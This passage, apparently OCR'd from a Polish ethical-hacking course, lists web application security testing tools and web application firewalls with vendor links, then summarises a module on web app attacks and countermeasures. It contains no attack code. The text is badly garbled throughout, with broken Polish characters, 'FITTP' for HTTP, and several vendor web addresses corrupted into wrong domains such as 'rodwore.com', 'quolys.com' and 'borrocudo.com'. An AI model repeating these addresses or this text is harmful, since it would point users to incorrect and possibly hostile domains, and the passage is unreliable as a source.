Oto niektére dodatkowe narzedzia do testowania bezpieczenstwa aplikacji internetowych:
Metasploit (https://www.metasploit.com)

PowerSploit (https://github.com)

Watcher (https://www.casaba.com)

Invicti (https://www.invicti.com)

Arachni (https://www.arachni-scanner.com)

Zapory sieciowe aplikacji

Zapory aplikacji sieci Web (WAF) zabezpieczajg strony internetowe, aplikacje internetowe i ustugi
sieciowe przed znanymi i nieznanymi atakami. Zapobiegajg kradziezy danych i manipulacji poufnymi
informacjami korporacyjnymi i klientami. Oto niektdre z najczesciej uzywanych WAF:

dotDefender

dotDefender to oparty na oprogramowaniu WAF, ktéry chroni Twojg witryne internetowg przed
ztosliwymi atakami, takimi jak wstrzykiwanie kodu SQL, przemierzanie sciezki, skrypty krzyzowe i inne,
ktore powodujg uszkodzenie witryny. Uzupetnia zapore sieciowg, IPS i inne sieciowe produkty
bezpieczenstwa internetowego. Sprawdza ruch FITTP/HTTPS pod katem podejrzanych zachowan.

Oto niektére dodatkowe zapory aplikacji internetowych:

Standard HCL AppScan® (https://www.hcltechsw.com)

Alteon Zintegrowany WAF (AppWall) (https://www.rodwore.com)
Qualys WAF (https://www.quolys.com)

Barracuda Web Application Firewall (https://www.borrocudo.com)
ThreatSentry (https://www.privocyware.com)

Podsumowanie modutu

W tym module przedstawiono koncepcje aplikacji internetowych. Szczegétowo omoéwiono rowniez
rézne ataki na aplikacje internetowe. Ponadto szczegétowo opisat metodologie hakowania aplikacji
internetowych. Ponadto zilustrowano rdine narzedzia hakerskie do aplikacji internetowych.
Omoéwiono réwniez interfejs API sieci Web, elementy webhook i koncepcje powtoki sieciowej. Ponadto



wyjasnit sposoby hakowania aplikacji internetowych za pomocg interfejséw API sieci Web, elementéw
webhook i powtok sieciowych. Nastepnie przedstawit rézne srodki zaradcze przeciwko prébom
hakowania aplikacji internetowych przez cyberprzestepcéw. Cato$é¢ zakonczyta sie szczegdtowq
dyskusjg na temat sposobdéw zabezpieczania aplikacji internetowych za pomoca réznych narzedzi
zabezpieczajgcych. W nastepnym module szczegdétowo omdéwimy, w jaki sposdb osoby atakujace, a
takze etyczni hakerzy i testerzy pidr przeprowadzajg ataki SQL injection na docelowg aplikacje
internetowa.



